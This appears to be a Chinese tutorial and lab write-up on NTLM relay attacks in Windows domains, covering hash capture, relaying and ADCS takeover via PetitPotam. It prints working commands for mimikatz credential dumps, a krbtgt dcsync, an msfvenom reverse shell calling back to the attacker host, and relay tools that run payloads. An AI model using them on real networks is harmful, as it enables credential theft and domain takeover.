一、域环境下的认证体系
Windows
的身份认证方式有两种,一种是NTLM
认证方式,即挑战/响应机制;另外一种就是Kerberos
认证方式。
早期,Windows
域环境下使用NTLM
作为认证方式,后来采用了Kerberos
协议。在默认环境下,NTLM
认证和Kerberos
认证同时存在于域环境下。当我们指定主机名的时候,会选用Kerberos
来作为认证方式:
而当指定主机ip
的时候,会采用NTLM
认证方式。
因此,在Windows
域环境下,针对不同的认证机制,也存在不同的攻击手段。
这里主要讨论NTLM
中继攻击,因此主要介绍一些NTLM
认证协议。NTLM
身份认证可以分为两种,一种是本地认证,一种是网络认证。
(1)NTLM
本地认证
Windows
将用户的密码存储在本地计算机的SAM
文件中,文件位置:C:\Windows\System32\config\SAM
。密码的存储以NTLM Hash
的方式进行存储。当用户输入密码进行本地认证时,首先系统会将明文密码处理成NTLM Hash
,然后与SAM
文件中的Hash
进行比较,相同则认证通过。同时,会在lsass.exe
进程中,保存一份明文密码。
这里也提到,lsass
进程会缓存一份明文密码,当获取到一台主机权限之后,可以利用mimikatz
从lsass
进程中导出密码。
sekurlsa::logonpasswords full
(2)NTLM
网络认证
NTLM
的网络认证,仔细细分可以分为工作组环境下的认证和域环境下的认证。大致原理相同,都是采用Challenge/Response
验证机制。
在工作组环境下,NTLM
认证主要分为三步:
1)客户端首先会在本地缓存一份用户输入的密码值对应的NTLM Hash
,然后向服务端发送Negotiate
协商消息,去指定需要协商认证的用户、机器以及其他相关信息。
2)服务端接收到Negotiate
协商消息之后,会将数据传输给NTLM SSP
进行处理,然后获得一个返回的16位随机值,称之为Challenge
,将其发送给客户端,并在本地缓存该Challenge
。
3)客户端提取出来Challenge
之后,使用本地缓存的NTLM Hash
值对其进行加密,得到的值成为Net-NTLM Hash
,然后将该值封装到Authenticate
认证消息中传输给服务端。
4)服务端收到认证消息之后,会使用自己的密码对应的NTLM Hash
值对本地缓存的Challenge
进行哈希处理,然后将得到的值与认证消息中的Net-NTLM Hash
进行比较,如果匹配则认证通过。
在域环境下,NTLM
的认证方式与上面基本相同,唯一不同点是第4步,服务端会向域控请求校验。
二、中继攻击原理解析
NTLM Hash
值分为三种,分别为NTLMv1
、NTLMv2
、NTLM session v2
,Net-NTLM Hash
根据不同的类型的NTLM Hash
加密,可以分为Net-NTLM Hash v1
和Net-NTLM Hash v2
。其中,NTLM v1
强度比较低,易于破解,当获取到此Net-NTLM Hash v1
值的时候,可以直接进行破解获取到明文。而NTLM v2
相对来说密码强度较高,可以进行暴力破解,但是需要比较强大的字典。通常情况下,NTLM Hash
的值都是NTLM v2
,因此想要直接获取到明文,相对来说比较困难。因此,可以采用另外一种攻击方式,即NTLM Relay
攻击。
NTLM Relay
攻击其实就是攻击者转发客户端的所有请求给服务端,从而完成认证。这是一种中间人攻击的方式,其实也就是对获取到的Net-NTLM Hash
进行重放。
攻击的关键是如何中间截获数据包,获取到Net-NTLM Hash
值。下面介绍一些常见的捕获Net-NTLM Hash
方法。
(1)利用LLMNR
和NetBIOS
欺骗
LLMNR
全称链路本地多播名称解析,是基于域名系统(DNS
)数据包格式的协议,IPv4
和IPv6
的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议。
NetBios
全称网络基本输入输出系统,它提供了OSI
模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。NetBIOS
也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS
的工作流程就是正常的机器名解析查询应答过程。在Windows
操作系统中,默认情况下在安装TCP/IP
协议后会自动安装NetBIOS
。
Windows
解析主机名的顺序为:
1)查看本地hosts
文件
2)查看DNS
缓存或者DNS
服务器中进行查找
3)利用LLMNR
(链路本地多播名称解析)和NetBIOS
名称服务进行查找
在局域网环境下,当用户输入了一个不存在的,或者错误的,DNS
中不存在的主机名的时候,Windows
系统根据主机名解析的顺序开始查找,最终在局域网内广播LLMNR/NBNS
数据包来请求解析主机名。
而此时,如果我们以及拥有了一台局域网主机的权限,我们就可以假装成受害者想要访问的主机,从而让受害者交出凭证。
例如,使用Responder
工具在局域网下开启监听,等待局域网内广播的数据包。
responder -I eth0 -f -v
然后我在域控主机上利用SMB
协议随便访问一个不存在主机:dir \\m1sn0w\c$
,之后监听主机就可以接收到返回来的Net-NTLM Hash
值:
抓取流量包,可以看见,首先进行了广播,然后监听的攻击机(10.10.10.24)响应域控,告诉自己是m1sn0w
主机。之后两台机器进行了NTLM
认证,域控主机向攻击机发送了Net-NTLM Hash
:
(2)利用WPAD
劫持
WPAD
全称为网络代理自动发现协议,它是客户端使用DHCP
、DNS
、LLMNR
、NBNS
协议来定位一个代理自动配置文件URL
的方法。
代理自动配置文件(PAC
),定义了浏览器或者其他代理如何选择适当的代理服务器来访问其要访问的URL
。
也就是说,通过劫持WPAD
,返回一个恶意构造好的PAC
文件。然后客户端就会从这个PAC
文件中去选择合适的代理服务器。由于远程PAC
文件可以指定为攻击者自己的V-P-S
服务器上的一个伪造文件,因此客户端的代理服务器也就被攻击者控制了。
PAC
代理自动配置文件的格式如下,文件名为wpad.dat
:
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}
劫持WPAD
一般有两种方式,一种是利用LLMNR/NBNS
投毒,另外一种是利用ipv6
协议,使用DHCPv6
进行劫持。
1)LLMNR/NBNS
投毒
当浏览器设置了代理为自动检测设置
后,用户访问一个URL
的时候,主机就会向WPAD/wpad.dat
发送查询请求。如果在域环境中,没有对WPAD
主机进行配置,本地hosts
文件和DNS
服务器解析不到这个域名的话,就会通过LLMNR
广播的方式,向局域网内的服务器询问该主机对应ip
。
此时如果攻击者在局域网内,就可以伪造声称自己是WPAD
主机,并返回给受害者PAC
文件,其中的代理服务器可以指向攻击者自身。客户机收到PAC
文件之后,所有的HTTP
流量都会经过代理服务器,也就是攻击者的服务器,这也就达到了劫持流量的目的,开启了中间人攻击。
IE
浏览器默认配置为自动检测代理
,当攻击机在局域网内监听流量之后,客户端打开IE
浏览器并随机访问一个网页时,攻击者就可以伪造成WPAD
,向其返回一个PAC
文件,并将代理指向自己。
2)DHCPv6
微软在2016年发布了MS16-077
的补丁,添加了两个保护措施:
1、禁止系统通过广播协议来解析WPAD
文件的位置,只能通过使用DHCP
或者DNS
协议来确定位置。
2、更改了PAC
文件下载的默认行为,当通过WinHTTP
请求PAC
文件的时候,不会自动发送客户端的凭据来响应请求。
因此,为了绕过第一个限制,就可以采用DHCP v6
的方式。
DHCP V6
的交互方式:
1、客户端向组播地址发送Solicit
请求报文
2、组播地址包括的整个地址链路范围内的DHCP
服务器和中继代理回应一个Advertise
消息给客户端。
3、客户端会选择优先级最高的服务器发送Request
请求。
4、相应服务器回复确认地址、委托前缀、配置等信息。
也就是说,在IPv6
的情况下,攻击者接收到其他机器的DHCP v6
组播包之后,可以让受害者的DNS
服务器设置成攻击者IPv6
地址。这样在进行WPAD
查询的时候,就会像攻击者的主机发送请求。
利用mitm6
工具,该工具自动检测攻击者计算机的IP
配置,并以包含攻击者IP
作为DNS
服务器的DHCPv6
应答回复网络中客户端发送的DHCPv6
请求进行DNS
欺骗,成功之后将目标主机的默认网关将设置成攻击机的IPv6
地址。
工具下载地址:https://github.com/dirkjanm/mitm6
python3 mitm6.py -d de1ay.com -i eth0
第二个限制的绕过方式相对来说就比较简单,只需要在进行HTTP
认证的时候,强制用户输入验证信息,即可。在使用Responder
工具的时候,使用-F
选项。
(3)利用desktop.ini
每一个文件夹都含有一个隐藏文件desktop.ini
,该文件的作用主要是用来定义文件夹图标之类的信息。在文件夹属性处,去掉相应选项就可以看见每个文件夹下面存在desktop.ini
文件。
将这里的值设置为UNC
路径,当其他用户访问此目录的时候,就会向指定的UNC
请求图标资源。配合上面的LLMNR/NBNS
投毒,即可获取到Net-NTLM Hash
。
例如,这里我创建一个m1sn0w
文件夹,然后将路径修改成\\m1sn0w\c$
。利用responder
在局域网内开启监听,当我再次打开m1sn0w
文件夹的时候,攻击机就可以捕获到Net-NTLM Hash
。
(4)利用office
文件钓鱼
该利用方式也是利用UNC
路径,当用户打开Word
文档之后,就会自动向指定的UNC
发送请求。制作方式:
创建一个word
文档,然后添加一张图片进去:
保存之后将文件后缀更改成zip
,然后解压缩。在word\_rels\document.xml.rels
中找到图片的位置,然后修改成UNC
路径:
修改属性值为Target="\\m1sn0w\c$" TargetMode="External"
,然后压缩之后修改后缀为docx
。当用户打开该word
文档之后,便会向局域网内发送广播数据包,攻击者就可以获取到Net-NTLM Hash
:
查看流量数据,可发现广播了数据包去询问主机m1sn0w
:
(5)利用Web
漏洞或者数据库
例如XSS
漏洞,设置一个UNC
路径,当客户端运行加载的时候,就会在局域网内进行广播:
<script src="\\m1sn0w\c$" >
三、攻击面扩展
当获取到Net-NTLM Hash
之后,接下来需要做的就是如何利用该哈希。NTLM
是一种底层的认证协议,通常会将获取的Net-NTLM Hash
配合上层协议进行攻击。针对Net-NTLM Hash
的攻击方式有两种,一种就是直接对其进行暴力破解,另外一种就是通过重放的方式,Relay
到其他机器上。(只要是支持NTLM SSP
的协议,都可以中继过去)一种比较常见的方式就是中继到SMB
服务器上。(还可以中继到其他的服务,例如EWS
、LDAP
等)
如果能直接Relay
到SMB
服务器,就相当于可以直接控制目标服务器,可以在目标服务器上远程命令执行,文件上传,下载文件等操作。在域环境中,只有域控主机默认开启SMB
签名,这是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。
(1)利用MultiRelay.py
进行攻击
因此,在进行Relay
攻击之前,可以通过responder
工具包下的RunFinger.py
脚本对域内主机的开放情况做一个探测:
python3 RunFinger.py -i 10.10.10.1/24
可以看见只有域控主机开启了SMB
签名,因此,接下来尝试通过捕获到域管的Net-NTLM Hash
,然后中继到其他两台机器上进行命令执行。
利用responder
工具包下的MultiRelay.py
脚本进行攻击,如果Relay
成功,可以直接获取到目标主机的Shell
。这里我尝试Relay
到Win2008
上面,即10.10.10.18
:
python3 MultiRelay.py -t 10.10.10.18 -u ALL
然后在局域网内开启responder
,此时要修改一下配置,不让responder
抓取Net-NTLM Hash
,而由MultiRelay
进行中继,关闭SMB
和HTTP
即可。(配置文件路径:/usr/share/responder/Responder.conf
)
之后我在域控上随机发送SMB
流量,待攻击机监听后,转由MultiRelay
进行中继,即可获取到目标主机的Shell
。
(2)利用smbrelayx.py
进行攻击
该工具的原理就是在本地临时搭建一个SMB
服务,当域内主机访问该主机时,就会截获Net-NTLM Hash
,并中继到其他机器:
python3 smbrelayx.py -h target_ip -c command
(3)利用ntlmrelayx.py
进行攻击
工具下载地址:https://github.com/SecureAuthCorp/impacket
python3 ntlmrelayx.py -t smb://10.10.10.18 -c whoami -smb2support
然后利用responder
开启局域网内的监听,待域控主机发送广播数据报之后,攻击机响应数据报,截获域管的Net-NTLM Hash
之后,中继到10.10.10.18
,与之进行通信。
四、实网对抗下的中继打法
1、被动攻击方式
前面在中继攻击SMB
的时候用到的smbrelayx.py
脚本,它用于在本地临时搭建一个SMB
服务,当域内其他用户访问这个服务的时候,就可以捕获Net-NTLM Hash
,从而中继到其他机器上面。
但是在实际场景下,这种方法要实现起来比较困难。首先当前机器的445端口要没有被占用,一般在Windows
操作系统下,445端口都是被占用的。其次就是需要目标机器存在Python
环境。因此,如果在内网环境下,目标机器是Linux
的话,可以考虑利用此方式。
实验拓扑环境如下:
我在主机10.10.10.24
上通过smbrelayx.py
临时搭建一个SMB
服务,然后将捕获的Net-NTLM Hash
中继到受害者机器10.10.10.18
上面:
python3 smbrelayx.py -h 10.10.10.18 -c whoami
当域内主机访问10.10.10.24
的SMB
,就会与其进行NTLM
认证,然后捕获到Net-NTLM Hash
之后,中继到其他机器:
也可以和其他工具联动,例如可以通过msfvenom
生成一个shell.exe
,然后放置到攻击机上面。当中继攻击成功以后,可以让他下载本地的shell.exe
并运行,这样,在msf
中开启监听后,就可以获取到目标的shell
。
# 生成shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.24 LPORT=8899 -f exe -o shell.exe
然后使用exploit/multi/handler
,配置AutoRunScript
,当获取到shell
让他进程自动迁移,避免shell
文件被删除时连接的shell
断开:
set AutoRunScript post/windows/manage/migrate
然后临时搭建SMB
服务,利用smbrelayx.py
的-e
参数指定下载运行的文件路径,让获取到Net-NTLM Hash
之后,msf
就会收到反弹获取的shell
:
python3 smbrelayx.py -h 10.10.10.18 -e ../../shell.exe
2、主动攻击方式
(1)PortBender
流量重定向
在实际的网络拓扑环境下,一般都是通过团队服务器向目标主机上传一个beacon
后获取权限。此时进行中继攻击就会存在几个问题,比如:目标445端口已经被占用,所以不能直接嗅探该端口传入的流量。又或者目标Windows
主机上没有一些语言环境,操作不方便。
最简单的一种实网拓扑结构:图来自https://rastamouse.me/ntlm-relaying-via-cobalt-strike/
TeamServer
位于互联网。当目标主机通过beacon
控制之后,如果要利用NTLM Relay
攻击中继到内网的其他机器,最简单的做法就像上面那样,开启监听之后Relay
到其他机器,但这里存在的一个问题是,如果目标机器的445端口占用了,也就是说不能直接监听到445的流量,同时,内网环境下,目标通常是Windows
操作系统,如果没有装Python
,那么有一些工具就不能运行。
因此,在对抗过程中,可以使用端口流量的重定向,以及流量转发,代理来实现攻击机通过TeamServer
攻击内网。
PortBender
工具可以用于端口流量的重定向,工具地址:https://github.com/praetorian-inc/PortBender
,将PortBender.cna
导入到Cobalt Strike
中。
当获取一个SYSTEM
权限的beacon
之后,通过upload
命令将WinDivert64.sys
或者WinDivert32.sys
上传到目标主机(根据目标主机的类型),然后执行:
PortBender redirect 445 8445
此时会将445端口的流量重定向到8445端口,接下来配置rportfwd
。
Cobalt Strike
工具自带的rportfwd
,用于远程端口转发,即将目标机器的某个端口流量全部转发到远端指定的一个端口,命令如下:
rportfwd 8445 10.10.20.25 445
表示将此台(受控端)主机8445端口的流量转发到攻击机(10.10.20.25)的445端口上。也就是说445端口的流量此时通过重定向,发送给了8445端口,由于远程端口转发,本地8445端口流量全部转发到远程主机的445端口上。
此时设置一个代理,通过代理运行nltmrelayx.py
进行中继攻击的监听:
# 开启代理
socks 1080
# 配置代理/etc/proxychains4.conf
socks4 10.10.20.24 1080
# 中继攻击监听
proxychains python3 ntlmrelayx.py -t smb://10.10.10.18 -smb2support
当受控主机的445
端口收到身份认证的流量之后,将会将流量传送到监听的远程攻击主机上,收到Net-NTLM Hash
之后,通过socks
代理,就可以中继到内网的其他主机。
这里顺便提一下,就是此时域内主机主动连接该445端口,是不会进行认证的。(域内主机发送了一个询问流量之后,不会收到来自该主机的响应)因此,单纯利用这种方式被动的等待比较鸡肋。在这种情况下并不是进行被动收集Net-NTLM Hash
,而是通过主动攻击的方式,利用一些漏洞,比如打印机漏洞,还有最近比较火的PetitPotam
,主动向该端口发送Net-NTLM Hash
。
(2)利用PetitPotam
中继ADCS
接管域
由于NTLM Relay
不能够中继自己,所以利用这种方式进行攻击,更像是一种提权手段,在已知域内一台主机账号密码的情况下,可以让他向CS
发送NTLM
请求,获取一个证书。
最近内网攻防比较火的一种攻击方式,利用PetitPotam
,强制域内主机发起NTLM Hash
,中继到ADCS
获取证书,从中提取TGT
,利用票据传递接管域控。
PetitPotam
中继攻击,这是一种新型的NTLM Relay
攻击利用手法,其利用了微软加密文件系统远程协议。利用该漏洞,攻击者连接到LSARPC
后能够强制触发目标机器向指定的远程服务器发送Net-NTLM Hash
,在获取到Net-NTLM Hash
之后,就能够进行NTLM Relay
攻击。
而ADCS
证书服务器在默认安装之后,由于ADCS
的HTTP
证书接口(/certsrv/certfnsh.asp
)没有启用NTLM
中继保护,并且在HTTP
请求的时候,Authorization HTTP
标头明确指定只允许通过NTLM
进行身份验证。因此,配合上面的PetitPotam
的方式,强制域控向该接口发送Net-NTLM Hash
,从而可以获取到一个域内的证书,从中提取TGT
,利用票据传递接管域控。
在内网环境中,如果存在两个域控(一个主域控,一个辅助域控),都安装了ADCS
证书服务的话,可以导出TGT
,从而接管域控:(实验拓扑图)
由于在win2008
和win2012
环境下,通过PetitPotam
强制域控发起Net-NTLM Hash
可以以匿名的方式,也就是说不需要知道账号密码也可发送。
python3 PetitPotam.py -d de1ay 10.10.10.25 10.10.10.99
强制辅助域控(10.10.10.99)向本机(10.10.10.25)的445端口发送Net-NTLM Hash
,然后在本地主机上捕获到Net-NTLM Hash
之后,发起中继攻击,中继到域控主机(10.10.10.10)的ADCS
服务上申请一个证书:
python3 ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs
申请到证书之后,就可以通过Rubeus
攻击从中提取出来TGT
,转而接管域控:(这里假设Win7
客户机已经被拿下,接下来操作在Win7
上进行即可)
Rubeus.exe asktgt /user:username /certificate:证书的base64值 /ptt
通过mimikatz
可以查看kerberos
票据信息:kerberos::list
,导出krbtgt
的哈希值:lsadump::dcsync /user:krbtgt /csv
而现实的网络拓扑环境可能是这个样子:
所有的流量都通过Win7
客户机发送给内网主机。Win7
客户机的445端口被占用,此时想要通过同样的方式,攻击域控的ADCS
可以使用PortBender
将TCP
流量重定向。
具体攻击思路是将Win7
上面的445
端口流量重定向之后,TeamServer
通过远程流量转发的方式,传回攻击者监听的445端口。攻击者开启socks
代理,将流量传送到域控的80端口,请求获取一个证书。
我这里利用Cobalt Strick
,拿到Win7
客户机的一个System
权限的Beacon
后,开启一个socks
代理:socks 1080
,然后远程转发端口流量,将8445
的流量全部转发到攻击者的445
端口:
之后上传WinDivert32.sys
(我这里Win7
是32位的),执行PortBender redirect 445 8445
,将Win7
上的445
端口流量全部转发到8445端口。
攻击机配置完代理之后,在攻击机上面开启攻击ADCS
的脚本并监听来自445端口的流量:
proxychains python3 ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs
然后通过代理的方式,利用PetitPotm
向辅助域控发送流量,强制其发送Net-NTLM Hash
给Win7
的445端口:
proxychains python3 PetitPotam.py -d de1ay 10.10.10.201 10.10.10.99
由于网络问题,多发几次包之后,就可以获取到证书信息:
五、中继攻击防御措施
1、开启签名保护
2、EAP
(Enhanced Protection Authentication
)
六、总结
NTLM Relay
是一种中间人攻击的方式,一般而言都是被动攻击,等待连接操作,但PetitPotam
的出现,发生了一些改变。正如上面实验,在两台域控都安装了ADCS
的情况下,不需要被动等待即可发起攻击。
参考文章:
【委派攻击】https://www.bugbank.cn/live/view.html?id=114136
【利用kerberos
身份验证中继攻击】https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
【中继的实战打法】https://rastamouse.me/ntlm-relaying-via-cobalt-strike/
【证书服务器攻击与防御】https://www.anquanke.com/post/id/245791#h2-11
【ExchangeRelayx
】https://www.freebuf.com/news/184594.html
【Portbender
端口复用】http://cn-sec.com/archives/437340.html
【利用PetitPotam
进行NTLM Relay
攻击】https://blog.csdn.net/qq_36119192/article/details/120368697
【无需Linux
进行NTLM Relay
】https://cloud.tencent.com/developer/article/1896216